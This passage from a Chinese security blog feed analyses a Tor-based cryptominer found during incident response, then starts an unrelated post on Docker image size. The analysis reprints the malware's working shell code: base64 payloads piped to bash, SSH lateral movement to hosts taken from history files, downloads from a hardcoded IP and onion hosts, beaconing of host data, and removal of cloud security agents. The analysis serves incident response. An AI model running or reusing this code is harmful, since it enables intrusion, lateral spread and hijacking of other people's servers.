ndlYi5pbiB0b3Iyd2ViLml0CmRvCmlmICEgbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1czsgdGhlbgpmZXhlO3UgJHQuJGgKbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1cyB8fCAoY2QgL3RtcDt1ICR0LiRoKQpscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvZGV2L3NobTt1ICR0LiRoKQplbHNlCmJyZWFrCmZpCmRvbmUK|base64 -d|bash'<\/span>\n<span class=\"nv\">hosts<\/span><span class=\"o\">=<\/span><span class=\"si\">$(<\/span><span class=\"nb\">grep<\/span> <span class=\"nt\">-oE<\/span> <span class=\"s2\">\"<\/span><span class=\"se\">\\b<\/span><span class=\"s2\">([0-9]{1,3}<\/span><span class=\"se\">\\.<\/span><span class=\"s2\">){3}[0-9]{1,3}<\/span><span class=\"se\">\\b<\/span><span class=\"s2\">\"<\/span> ~\/.bash_history \/etc\/hosts ~\/.ssh\/known_hosts |grep <span class=\"nt\">-v<\/span> ^127.|awk <span class=\"nt\">-F<\/span>: <span class=\"o\">{<\/span><span class=\"s1\">'print $2'<\/span><span class=\"o\">}<\/span>|sort|uniq<span class=\"si\">)<\/span>\n<span class=\"k\">for <\/span>h <span class=\"k\">in<\/span> <span class=\"nv\">$hosts<\/span><span class=\"p\">;<\/span><span class=\"k\">do <\/span>ssh <span class=\"nt\">-oBatchMode<\/span><span class=\"o\">=<\/span><span class=\"nb\">yes<\/span> <span class=\"nt\">-oConnectTimeout<\/span><span class=\"o\">=<\/span>5 <span class=\"nt\">-oPasswordAuthentication<\/span><span class=\"o\">=<\/span>no <span class=\"nt\">-oPubkeyAuthentication<\/span><span class=\"o\">=<\/span><span class=\"nb\">yes<\/span> <span class=\"nt\">-oStrictHostKeyChecking<\/span><span class=\"o\">=<\/span>no <span class=\"nt\">-l<\/span> root  <span class=\"nv\">$h<\/span> <span class=\"s1\">'echo blU5V2FnalE4QmVuV1BYdDBvdkUxMnVEOGpCSXR2NgpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICI1aXhoaWVlem96eHdudmlzb3BneG9iYTZzc2JzcnZkcHhlZHV4YjRqYzZ6eDdzNTZydWZyanphZCIpCgpzb2NreigpIHsKbj0oZG9oLnRoaXMud2ViLmlkIGRvaC5wb3N0LWZhY3R1bS50ayBkbnMuaG9zdHV4Lm5ldCB1bmNlbnNvcmVkLmx1eDEuZG5zLm5peG5ldC54eXogZG5zLnJ1YnlmaXNoLmNuIGRucy50d25pYy50dyBkb2gtZmkuYmxhaGRucy5jb20gZmkuZG9oLmRucy5zbm9weXRhLm9yZyByZXNvbHZlci1ldS5sZWx1eC5maSBkb2gubGkgZG5zLmRpZ2l0YWxlLWdlc2VsbHNjaGFmdC5jaCkKcD0kKGVjaG8gImRucy1xdWVyeT9uYW1lPXJlbGF5LnRvcjJzb2Nrcy5pbiIpCnM9JCgkYyBodHRwczovLyR7blskKChSQU5ET00lMTEpKV19LyRwIHwgZ3JlcCAtb0UgIlxiKFswLTldezEsM31cLil7M31bMC05XXsxLDN9XGIiIHx0ciAnICcgJ1xuJ3xncmVwIC1FdiBbLl0wfHNvcnQgLXVSfGhlYWQgLW4gMSkKfQoKZmV4ZSgpIHsKZm9yIGkgaW4gLiAkSE9NRSAvdXNyL2JpbiAkZCAvdmFyL3RtcCA7ZG8gZWNobyBleGl0ID4gJGkvaSAmJiBjaG1vZCAreCAkaS9pICYmIGNkICRpICYmIC4vaSAmJiBybSAtZiBpICYmIGJyZWFrO2RvbmUKfQoKdSgpIHsKc29ja3oKZj0vaW50LiQodW5hbWUgLW0pCng9Li8kKGRhdGV8bWQ1c3VtfGN1dCAtZjEgLWQtKQpyPSQoY3VybCAtNGZzU0xrIGNoZWNraXAuYW1hem9uYXdzLmNvbXx8Y3VybCAtNGZzU0xrIGlwLnNiKV8kKHdob2FtaSlfJCh1bmFtZSAtbSlfJCh1bmFtZSAtbilfJChpcCBhfGdyZXAgJ2luZXQgJ3xhd2sgeydwcmludCAkMid9fG1kNXN1bXxhd2sgeydwcmludCAkMSd9KV8kKGNyb250YWIgLWx8YmFzZTY0IC13MCkKJGMgLXggc29ja3M1aDovLyRzOjkwNTAgJHQub25pb24kZiAtbyR4IC1lJHIgfHwgJGMgJDEkZiAtbyR4IC1lJHIKY2htb2QgK3ggJHg7JHg7cm0gLWYgJHgKfQoKZm9yIGggaW4gdG9yMndlYi5pbiB0b3Iyd2ViLml0CmRvCmlmICEgbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1czsgdGhlbgpmZXhlO3UgJHQuJGgKbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1cyB8fCAoY2QgL3RtcDt1ICR0LiRoKQpscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvZGV2L3NobTt1ICR0LiRoKQplbHNlCmJyZWFrCmZpCmRvbmUK|base64 -d|bash'<\/span><span class=\"p\">;<\/span><span class=\"k\">done\nfor <\/span>h <span class=\"k\">in<\/span> <span class=\"nv\">$hosts<\/span><span class=\"p\">;<\/span><span class=\"k\">do <\/span>ssh <span class=\"nt\">-oBatchMode<\/span><span class=\"o\">=<\/span><span class=\"nb\">yes<\/span> <span class=\"nt\">-oConnectTimeout<\/span><span class=\"o\">=<\/span>5 <span class=\"nt\">-oPasswordAuthentication<\/span><span class=\"o\">=<\/span>no <span class=\"nt\">-oPubkeyAuthentication<\/span><span class=\"o\">=<\/span><span class=\"nb\">yes<\/span> <span class=\"nt\">-oStrictHostKeyChecking<\/span><span class=\"o\">=<\/span>no <span class=\"nt\">-l<\/span> <span class=\"nv\">$USER<\/span> <span class=\"nv\">$h<\/span> <span class=\"s1\">'echo blU5V2FnalE4QmVuV1BYdDBvdkUxMnVEOGpCSXR2NgpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICI1aXhoaWVlem96eHdudmlzb3BneG9iYTZzc2JzcnZkcHhlZHV4YjRqYzZ6eDdzNTZydWZyanphZCIpCgpzb2NreigpIHsKbj0oZG9oLnRoaXMud2ViLmlkIGRvaC5wb3N0LWZhY3R1bS50ayBkbnMuaG9zdHV4Lm5ldCB1bmNlbnNvcmVkLmx1eDEuZG5zLm5peG5ldC54eXogZG5zLnJ1YnlmaXNoLmNuIGRucy50d25pYy50dyBkb2gtZmkuYmxhaGRucy5jb20gZmkuZG9oLmRucy5zbm9weXRhLm9yZyByZXNvbHZlci1ldS5sZWx1eC5maSBkb2gubGkgZG5zLmRpZ2l0YWxlLWdlc2VsbHNjaGFmdC5jaCkKcD0kKGVjaG8gImRucy1xdWVyeT9uYW1lPXJlbGF5LnRvcjJzb2Nrcy5pbiIpCnM9JCgkYyBodHRwczovLyR7blskKChSQU5ET00lMTEpKV19LyRwIHwgZ3JlcCAtb0UgIlxiKFswLTldezEsM31cLil7M31bMC05XXsxLDN9XGIiIHx0ciAnICcgJ1xuJ3xncmVwIC1FdiBbLl0wfHNvcnQgLXVSfGhlYWQgLW4gMSkKfQoKZmV4ZSgpIHsKZm9yIGkgaW4gLiAkSE9NRSAvdXNyL2JpbiAkZCAvdmFyL3RtcCA7ZG8gZWNobyBleGl0ID4gJGkvaSAmJiBjaG1vZCAreCAkaS9pICYmIGNkICRpICYmIC4vaSAmJiBybSAtZiBpICYmIGJyZWFrO2RvbmUKfQoKdSgpIHsKc29ja3oKZj0vaW50LiQodW5hbWUgLW0pCng9Li8kKGRhdGV8bWQ1c3VtfGN1dCAtZjEgLWQtKQpyPSQoY3VybCAtNGZzU0xrIGNoZWNraXAuYW1hem9uYXdzLmNvbXx8Y3VybCAtNGZzU0xrIGlwLnNiKV8kKHdob2FtaSlfJCh1bmFtZSAtbSlfJCh1bmFtZSAtbilfJChpcCBhfGdyZXAgJ2luZXQgJ3xhd2sgeydwcmludCAkMid9fG1kNXN1bXxhd2sgeydwcmludCAkMSd9KV8kKGNyb250YWIgLWx8YmFzZTY0IC13MCkKJGMgLXggc29ja3M1aDovLyRzOjkwNTAgJHQub25pb24kZiAtbyR4IC1lJHIgfHwgJGMgJDEkZiAtbyR4IC1lJHIKY2htb2QgK3ggJHg7JHg7cm0gLWYgJHgKfQoKZm9yIGggaW4gdG9yMndlYi5pbiB0b3Iyd2ViLml0CmRvCmlmICEgbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1czsgdGhlbgpmZXhlO3UgJHQuJGgKbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1cyB8fCAoY2QgL3RtcDt1ICR0LiRoKQpscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvZGV2L3NobTt1ICR0LiRoKQplbHNlCmJyZWFrCmZpCmRvbmUK|base64 -d|bash'<\/span><span class=\"p\">;<\/span><span class=\"k\">done<\/span>\n<span class=\"o\">}<\/span>\n\nibot<span class=\"o\">()<\/span> <span class=\"o\">{<\/span>\n<span class=\"nv\">f<\/span><span class=\"o\">=<\/span>\/bot\n<span class=\"nv\">r<\/span><span class=\"o\">=<\/span><span class=\"si\">$(<\/span>curl <span class=\"nt\">-4fsSLk<\/span> ip.sb||wget <span class=\"nt\">-4qO-<\/span> ip.sb||curl <span class=\"nt\">-4fsSLk<\/span> checkip.amazonaws.com<span class=\"si\">)<\/span>_<span class=\"si\">$(<\/span><span class=\"nb\">whoami<\/span><span class=\"si\">)<\/span>_<span class=\"si\">$(<\/span><span class=\"nb\">uname<\/span> <span class=\"nt\">-m<\/span><span class=\"si\">)<\/span>_<span class=\"si\">$(<\/span><span class=\"nb\">uname<\/span> <span class=\"nt\">-n<\/span><span class=\"si\">)<\/span>_<span class=\"si\">$(<\/span>crontab <span class=\"nt\">-l<\/span>|base64 <span class=\"nt\">-w0<\/span><span class=\"si\">)<\/span>\n<span class=\"nv\">$c<\/span> <span class=\"nt\">-x<\/span> socks5h:\/\/<span class=\"nv\">$s<\/span>:9050 <span class=\"nt\">-e<\/span><span class=\"nv\">$r<\/span> <span class=\"nv\">$t<\/span>.onion<span class=\"nv\">$f<\/span> <span class=\"o\">||<\/span> <span class=\"nv\">$c<\/span> <span class=\"nt\">-e<\/span><span class=\"nv\">$r<\/span> <span class=\"nv\">$1$f<\/span>\n<span class=\"o\">}<\/span>\n\niscn<span class=\"o\">()<\/span> <span class=\"o\">{<\/span>\npkill <span class=\"nt\">-9<\/span> <span class=\"nt\">-f<\/span> tracepath\n<span class=\"nv\">f<\/span><span class=\"o\">=<\/span>\/trc\n<span class=\"nv\">x<\/span><span class=\"o\">=<\/span>.\/<span class=\"si\">$(<\/span><span class=\"nb\">date<\/span>|md5sum|cut <span class=\"nt\">-f1<\/span> <span class=\"nt\">-d-<\/span><span class=\"si\">)<\/span>\n<span class=\"nv\">$c<\/span> <span class=\"nt\">-x<\/span> socks5h:\/\/<span class=\"nv\">$s<\/span>:9050 <span class=\"nv\">$t<\/span>.onion<span class=\"nv\">$f<\/span> <span class=\"nt\">-o<\/span><span class=\"nv\">$x<\/span> <span class=\"o\">||<\/span> <span class=\"nv\">$c<\/span> <span class=\"nv\">$1$f<\/span> <span class=\"nt\">-o<\/span><span class=\"nv\">$x<\/span>\n<span class=\"nb\">chmod<\/span> +x <span class=\"nv\">$x<\/span><span class=\"p\">;<\/span><span class=\"nv\">$x<\/span><span class=\"p\">;<\/span><span class=\"nb\">rm<\/span> <span class=\"nt\">-f<\/span> <span class=\"nv\">$x<\/span>\n<span class=\"o\">}<\/span>\n\nsockz\nfexe\nisys\nissh &amp;\nibot <span class=\"nv\">$t<\/span>.tor2web.in <span class=\"o\">||<\/span> ibot <span class=\"nv\">$t<\/span>.tor2web.it\niscn <span class=\"nv\">$t<\/span>.tor2web.in <span class=\"o\">||<\/span> iscn <span class=\"nv\">$t<\/span>.tor2web.it\n\n\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u8fd9\u91cc\u9762\u7684  isys \u8bd5\u56fe\u5378\u8f7d\u56fd\u5185\u7684\u7684\u963f\u91cc\u4e91\u548c\u817e\u8baf\u4e91\u7684 HIDS\uff0c\u4f46\u662f\u5374\u6ca1\u6709\u770b\u5230\u9488\u5bf9\u56fd\u5916\u7684\u5382\u5546\u7684 HIDS \u7684\u5378\u8f7d\u7a0b\u5e8f\u3002 \u8fd9\u8bf4\u660e\u653b\u51fb\u8005\u8981\u4e48\u662f\u56fd\u4eba\uff0c\u53ea\u4e86\u89e3\u56fd\u5185\u7684\u60c5\u51b5\uff0c\u8981\u4e48\u653b\u51fb\u76ee\u6807\u662f\u56fd\u5185\u7684\u673a\u5668\u3002<\/p>\n\n<p>\u4f46\u662f\u770b\u5230\u6709\u5f88\u591a\u7bc7\u82f1\u6587\u7684\u5206\u6790\u6587\u7ae0\uff0c\u8bf4\u660e\u8fd9\u4e2a\u653b\u51fb\u8005\u8fd8\u662f\u8981\u653b\u51fb\u56fd\u5916\u7684\u673a\u5668\u7684\u3002<\/p>\n\n<p>\u90a3\u4e48\u4e3a\u4ec0\u4e48\u53ea\u5378\u8f7d\u56fd\u5185\u4e91\u670d\u52a1\u5668\u7684 HIDS \u5462\uff0c\u90a3\u6211\u4e0d\u77e5\u9053\u4e86\u3002<\/p>\n\n<div class=\"language-bash highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n<\/pre><\/td><td class=\"rouge-code\"><pre>isys<span class=\"o\">()<\/span> <span class=\"o\">{<\/span> \n<span class=\"nb\">echo <\/span>ZnVuY3Rpb24ga3VybCgpIHsKICByZWFkIHByb3RvIHNlcnZlciBwYXRoIDw8PCQoZWNobyAkezEvLy8vIH0pCiAgRE9DPS8ke3BhdGgvLyAvL30KICBIT1NUPSR7c2VydmVyLy86Kn0KICBQT1JUPSR7c2VydmVyLy8qOnKICBbWyB4IiR7SE9TVH0iID09IHgiJHtQT1JUfSIgXV0gJiYgUE9SVD04MAoKICBleGVjIDM8Pi9kZXYvdGNwLyR7SE9TVH0vJFBPUlQKICBlY2hvIC1lbiAiR0VUICR7RE9DfSBIVFRQLzEuMFxyXG5Ib3N0OiAke0hPU1R9XHJcblxyXG4iID4mMwogICh3aGlsZSByZWFkIGxpbmU7IGRvCiAgIFtbICIkbGluZSIgPT0gJCdccicgXV0gJiYgYnJlYWsKICBkb25lICYmIGNhdCkgPCYzCiAgZXhlYyAzPiYtCn0KCnJtIC1mICRIT01FL3NzCmN1cmwgLVYgfHwgd2dldCAtcSBodHRwczovL2dpdGh1Yi5jb20vbW9wYXJpc3RoZWJlc3Qvc3RhdGljLWN1cmwvcmVsZWFzZXMvZG93bmxvYWQvdjcuNzUuMC9jdXJsLWFtZDY0IC1PICRIT01FL2N1cmw7Y2htb2QgK3ggJEhPTUUvY3VybApjdXJsIC1WIHx8IGt1cmwgaHR0cDovLzEzOS41OS4xNTAuNzo0NDMvY3VybCA+ICRIT01FL2N1cmw7Y2htb2QgK3ggJEhPTUUvY3VybApzcyAtdiAgIHx8IGt1cmwgaHR0cDovLzEzOS41OS4xNTAuNzo0NDMvc3MgICA+ICRIT01FL3NzO2NobW9kICt4ICRIT01FL3NzCnNzIC12ICAgfHwgY3VybCAtcyBodHRwOi8vMTM5LjU5LjE1MC43OjQ0My9zcyAtbyAkSE9NRS9zcztjaG1vZCAreCAkSE9NRS9zcwpwcyAgICAgIHx8IGN1cmwgLXMgaHR0cDovLzEzOS41OS4xNTAuNzo0NDMvcHMgLW8gJEhPTUUvcHM7Y2htb2QgK3ggJEhPTUUvcHMK|base64 <span class=\"nt\">-d<\/span>|bash\ncrontab <span class=\"nt\">-l<\/span> <span class=\"o\">||<\/span> yum <span class=\"nt\">-y<\/span> <span class=\"nb\">install <\/span>cron\ncrontab <span class=\"nt\">-l<\/span> <span class=\"o\">||<\/span> yum <span class=\"nt\">-y<\/span> <span class=\"nb\">install <\/span>cronie\ncrontab <span class=\"nt\">-l<\/span> <span class=\"o\">||<\/span> apt-get update <span class=\"o\">&amp;&amp;<\/span> apt-get <span class=\"nt\">-y<\/span> <span class=\"nb\">install <\/span>cron\n\/usr\/local\/share\/assist-daemon\/assist_daemon <span class=\"nt\">--stop<\/span>\n\/usr\/local\/share\/assist-daemon\/assist_daemon <span class=\"nt\">--delete<\/span>\n\/usr\/local\/qcloud\/monitor\/barad\/admin\/uninstall.sh\n\/usr\/local\/qcloud\/stargate\/admin\/uninstall.sh\n\/usr\/local\/qcloud\/YunJing\/uninst.sh\n\/etc\/init.d\/aegis uninstall\nsystemctl stop aliyun\nsystemctl disable aliyun\nsystemctl start cron\nsystemctl <span class=\"nb\">enable <\/span>cron\nsystemctl start crond\nsystemctl <span class=\"nb\">enable <\/span>crond\n<span class=\"nb\">rm<\/span> <span class=\"nt\">-rf<\/span> \/usr\/loca\/qcloud\/ \/usr\/local\/aegis\/ \/usr\/local\/share\/assist-daemon\/ \/usr\/local\/share\/aliyun-assist\/ \/usr\/sbin\/aliyun-service \/usr\/sbin\/aliyun_installer \/etc\/systemd\/system\/aliyun.service\n<span class=\"o\">}<\/span>\n\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p><code class=\"language-plaintext highlighter-rouge\">issh<\/code>\u51fd\u6570\u901a\u8fc7 ssh\u6a2a\u5411\u79fb\u52a8\u3002 \u5982\u679c\u673a\u5668\u4e0a\u6709\u5df2\u7ecf\u914d\u7f6e\u597d\u7684 <a href=\"https:\/\/github.com\/ansible\/ansible\">ansible<\/a>\u3001<a href=\"https:\/\/github.com\/lilydjwg\/pssh\">pssh<\/a>\u3001<a href=\"https:\/\/github.com\/saltstack\/salt\">salt<\/a>\u3001<a href=\"https:\/\/docs.chef.io\/workstation\/knife_bootstrap\/\">knife<\/a> \u7b49\u81ea\u52a8\u5316\u8fd0\u7ef4\u5de5\u5177\uff0c\u8be5\u6076\u610f\u7a0b\u5e8f\u8fd8\u4f1a\u5c1d\u8bd5\u5229\u7528\u4ed6\u4eec\u8fdb\u884c\u6a2a\u5411\u79fb\u52a8\u3002\u9664\u6b64\u4e4b\u5916\uff0c\u653b\u51fb\u8005\u8fd8\u4ece bash \u7684\u5386\u53f2 ssh \u8bb0\u5f55\u91cc\u9762\u5c1d\u8bd5\u767b\u5f55\u8fdc\u7a0b\u8bbe\u5907\u3002<\/p>\n\n<h1 id=\"\u8dcb\">\u8dcb<\/h1>\n\n<p>\u653b\u51fb\u8005\u770b\u8d77\u6765\u662f\u82b1\u4e86\u4e00\u4e9b\u7cbe\u529b\u6765\u7814\u7a76\u5982\u4f55\u7ed5\u8fc7 HIDS \u548c NIDS \u7684\uff0c\u6076\u610f\u6728\u9a6c\u81f3\u4eca\u8fd8\u6709\u4e00\u90e8\u5206\u662f\u514d\u6740\u7684\uff0c\u6b64\u5916\u8fd8\u901a\u8fc7 IaC \u5de5\u5177\u6269\u5927\u81ea\u5df1\u7684\u6218\u679c\uff0c\u5982\u6b64\u770b\u6765\u653b\u51fb\u8005\u8fd8\u662f\u5f88\u5389\u5bb3\u7684\uff0c\u867d\u7136\u6ca1\u6709\u505a\u592a\u591a\u7684\u5bf9\u6297\uff0c\u4f46\u662f\u4ed6\u6a2a\u5411\u79fb\u52a8\u7684\u6280\u672f\u503c\u5f97\u7ea2\u961f\u4eba\u5458\u5b66\u4e60 :)<\/p>\n\n<p>\u5206\u6790\u5927\u6982\u5c31\u5199\u8fd9\u4e48\u591a\u5427\u3002<\/p>\n\n<p>\u53c8\u662f\u4e00\u7bc7\u6d41\u6c34\u8d26\uff0c\u6ca1\u6709\u91cd\u70b9\uff0c\u7f3a\u4e4f\u7ec4\u7ec7\u7684\u610f\u8bc6\u6d41\u5f62\u5f0f\u7684\u6587\u7ae0\u3002<\/p>\n\n<p>\u6211\u89c9\u5f97\u8fd9\u6837\u4e0d\u597d\uff0c\u8fd8\u5f97\u591a\u5b66\u4e60\u5b66\u4e60\u600e\u6837\u884c\u6587\u624d\u80fd\u7ed3\u6784\u7d27\u51d1\uff0c\u8a00\u4e4b\u6709\u7269\u3002<\/p>\n\n<p>\u770b\u8d77\u6765\u5e94\u8be5\u5728\u672c\u6587\u7684\u57fa\u7840\u4e0a\u4fee\u6539\u51e0\u904d\u5e94\u8be5\u662f\u53ef\u4ee5\u6539\u51fa\u6765\u7684\u3002<\/p>\n\n<p>\u4e0d\u8fc7\u5427\uff0c\u8fd9\u4e0d\u662f\u5199\u4f5c\u4e1a\uff0c\u6ca1\u4eba\u8bc4\u5206\uff0c\u4f46\u662f\u8bfb\u8005\u8bfb\u8d77\u6765\u53ef\u80fd\u6bd4\u8f83\u8d39\u52b2\u3002<\/p>\n\n<p>\u5927\u6bb5\u7684\u4ee3\u7801\uff0c\u6ca1\u6709\u4ecb\u7ecd\u57fa\u7840\u77e5\u8bc6\uff0c\u6eaf\u6e90\u601d\u8def\u6ca1\u6709\u8868\u8fbe\u6e05\u695a\uff0c\u5927\u6bb5\u7684\u539f\u59cb\u5197\u4f59\u91cd\u590d\u7684\u4ee3\u7801\uff0c\u7f3a\u4e4f\u56fe\u7247\u63cf\u8ff0\uff0c\u5f7c\u6b64\u5173\u7cfb\u4e0d\u6e05\uff0c\u6ca1\u6709 Linux \u57fa\u7840\u7684\u4eba\u53ef\u80fd\u5f88\u96be\u770b\u61c2\uff0c\u80fd\u770b\u61c2\u7684\u53ef\u80fd\u4e5f\u5f88\u96be\u575a\u6301\u770b\u8fd9\u65e0\u804a\u7684\u6587\u7ae0\u5230\u7ed3\u5c3e\uff0c\u6700\u540e\u6b64\u6587\u53ef\u80fd\u5c31\u53d8\u6210\u4e86\u6211\u7684\u5907\u5fd8\u5f55 :(<\/p>\n\n<p>\u60f3\u4e86\u60f3\uff0c\u6211\u4e0b\u6b21\u8fd8\u662f\u5f97\u8ba4\u771f\u601d\u8003\u4e00\u4e0b\u600e\u4e48\u8868\u8fbe\u624d\u80fd\u6bd4\u8f83\u6e05\u695a\u4e86\u3002<\/p>\n\n<p>\u8fd9\u4e00\u7bc7\u5c31\u7b97\u4e86\uff0c\u5c31\u5199\u8fd9\u6837\u4e86\u5427\u3002<\/p>\n\n<p>\u54ce\uff0c\u5c31\u662f\u73a9\u3002<\/p>\n\n<p>\u9e23\u8c22\uff1a<\/p>\n\n<ul>\n  <li>\u66fe\u5927\u4f6c<\/li>\n  <li>\u77eb\u54e5<\/li>\n<\/ul>\n\n<p>Les1ie<\/p>\n\n<p>2021.7.12 18:43<\/p>\n","pubDate":"Mon, 12 Jul 2021 10:53:00 +0000","link":"https:\/\/iansmith123.github.io\/2021\/07\/12\/tor-miner\/","guid":"https:\/\/iansmith123.github.io\/2021\/07\/12\/tor-miner\/","category":["\u7f51\u7edc\u5b89\u5168","\u5e94\u6025\u54cd\u5e94"]},{"title":"\u4f18\u5316\u90e8\u7f72go\u7684docker\u955c\u50cf\u5927\u5c0f","description":"<h1 id=\"\u5e8f\">\u5e8f<\/h1>\n\n<p>\u56e0\u4e3a\u5c5e\u5b9e\u4e0d\u60f3\u770b\u8bba\u6587\u4e0d\u60f3\u505a\u5b9e\u9a8c\u4e86\uff08\u4f3c\u4e4e\u6211\u5e76\u6ca1\u6709\u8ba4\u771f\u641e\u591a\u4e45\u5450\uff09<\/p>\n\n<p>\u51b3\u5b9a\u6478\u9c7c\u73a9\u4e00\u73a9 :)<\/p>\n\n<p>\u65b9\u7cd6\u901a\u77e5\u8fd1\u671f\u7ecf\u5e38\u4e22\u6d88\u606f\uff0c\u5ef6\u8fdf\u5230\u8fbe\uff0c\u4ed6\u5df2\u7ecf\u4e0d\u662f\u4e00\u4e2a\u53ef\u9760\u7684\u901a\u77e5\u5e73\u53f0\u4e86\uff0c\u5e76\u4e14\u4e5f\u56e0\u4e3a\u817e\u8baf\u9650\u5236\u4e86\u6a21\u677f\u6d88\u606f\u5bfc\u81f4\u5f00\u53d1\u8005\u51c6\u5907\u4e0b\u7ebf\u4e1a\u52a1\u3002<\/p>\n\n<p>\u9664\u6b64\u4e4b\u5916\uff0c\u6211\u8fd8\u7528\u4e86\u90ae\u4ef6\u901a\u77e5\u4f5c\u4e3a\u8f85\u52a9\uff0c\u4e0d\u662f\u5f88\u4f18\u96c5\uff0c\u6bcf\u6b21\u5199\u4ee3\u7801\u7684\u65f6\u5019\u9700\u8981\u628a\u4e00\u4e2a\u5199\u597d\u7684\u786c\u7f16\u7801\u4e86 smtp \u767b\u5f55\u51ed\u636e\u7684 python \u811a\u672c\u62ff\u7740\u5230\u5904\u8dd1\uff0c\u5e76\u4e14\u817e\u8baf\u5f3a\u5236\u4e00\u4e2a\u6708\u4fee\u6539\u4e00\u6b21\u5bc6\u7801\uff0c\u6bcf\u6b21\u4fee\u6539\u9ebb\u70e6\u3002\u6b64\u5916\u4ece\u53d1\u9001\u4e86\u901a\u77e5\u5230\u624b\u673aQQ \u90ae\u7bb1\u5f39\u51fa\u6d88\u606f\u53ef\u80fd\u5ef6\u8fdf\u534a\u5206\u949f\uff0c\u4fdd\u8bc1\u5c3d\u91cf\u5c0f\u7684\u65f6\u95f4\u5dee\u8fd9\u70b9\uff0cQQ \u90ae\u7bb1\u505a\u5f97\u4e0d\u591f\u597d\u3002\u4ed4\u7ec6\u60f3\u60f3\u4f3c\u4e4e\u4e5f\u4e0d\u80fd\u628a\u9505\u90fd\u7ed9QQ\uff0c\u5982\u679c\u8f6e\u8be2\u65f6\u95f4\u95f4\u9694\u592a\u5c0f\u6216\u8005\u957f\u8fde\u63a5\u53ef\u80fd\u6d88\u8017\u624b\u673a\u7535\u91cf\u6bd4\u8f83\u4e25\u91cd\uff0c\u534a\u5206\u949f\u5df2\u7ecf\u662f\u53ca\u65f6\u6027\u548c\u8017\u7535\u4e8c\u8005\u7684\u59a5\u534f\u4e86\u5427 :)<\/p>\n\n<p>\u4e8e\u662f\u641e\u4e00\u4e2a\u901a\u77e5\u7684\u5c0f\u5de5\u5177\u63d0\u4e0a\u65e5\u7a0b :)<\/p>\n\n<h1 id=\"\u63d0\u51fa\u9700\u6c42\">\u63d0\u51fa\u9700\u6c42<\/h1>\n\n<p>\u5e0c\u671b\u53ef\u4ee5\u5b9e\u73b0\u591a\u79cd\u65b9\u5f0f\u63a8\u9001\u7684\u5e73\u53f0\uff0c\u7c7b\u4f3c\u4e8e server \u9171\uff0c\u53d1\u4e00\u4e2a http \u8bf7\u6c42\uff0c\u624b\u673a\u6536\u5230\u901a\u77e5\u3002<\/p>\n\n<p>\u901a\u77e5\u7684\u5e73\u53f0\u5e0c\u671b\u652f\u6301<\/p>\n\n<ul>\n  <li>\u5fae\u4fe1<\/li>\n  <li>\u90ae\u7bb1<\/li>\n  <li>\u77ed\u4fe1<\/li>\n<\/ul>\n\n<p>\u90a3\u4e48\u8fd9\u4e2a\u901a\u77e5\u5e73\u53f0\u9700\u8981\u5b9e\u73b0\u4e00\u4e2a api\uff0c\u6839\u636e\u8bf7\u6c42\u91cc\u9762\u7684 token\u5224\u5b9a\u7528\u6237\uff0c\u7ed9\u7528\u6237\u53d1\u9001\u901a\u77e5\u6d88\u606f\u3002html\u9875\u9762\u53ef\u9009\u3002<\/p>\n\n<h1 id=\"\u5bfb\u627e\u89e3\u51b3\u65b9\u6848\">\u5bfb\u627e\u89e3\u51b3\u65b9\u6848<\/h1>\n\n<p>\u9996\u5148\uff0c\u56e0\u4e3a\u7f51\u7edc\u9650\u5236\uff0cFCM \u63a8\u9001\u662f\u4e0d\u53ef\u80fd\u7684\uff0cifttt \u7684 webhook\uff0cpushbullet\uff0c pushover \u8fd9\u4e9b\u5c31\u6682\u4e0d\u8003\u8651\u4e86\u3002<\/p>\n\n<p>\u515c\u515c\u8f6c\u8f6c\u627e\u4e86\u4e00\u5708\uff0c\u53d1\u73b0\u70b9\u8fc7 star \u7684\u9879\u76ee\u4e24\u4e2a<\/p>\n\n<ul>\n  <li>\n    <p>https:\/\/github.com\/gotify\/server<\/p>\n  <\/li>\n  <li>\n    <p>https:\/\/github.com\/nikoksr\/notify<\/p>\n  <\/li>\n<\/ul>\n\n<p>gotify 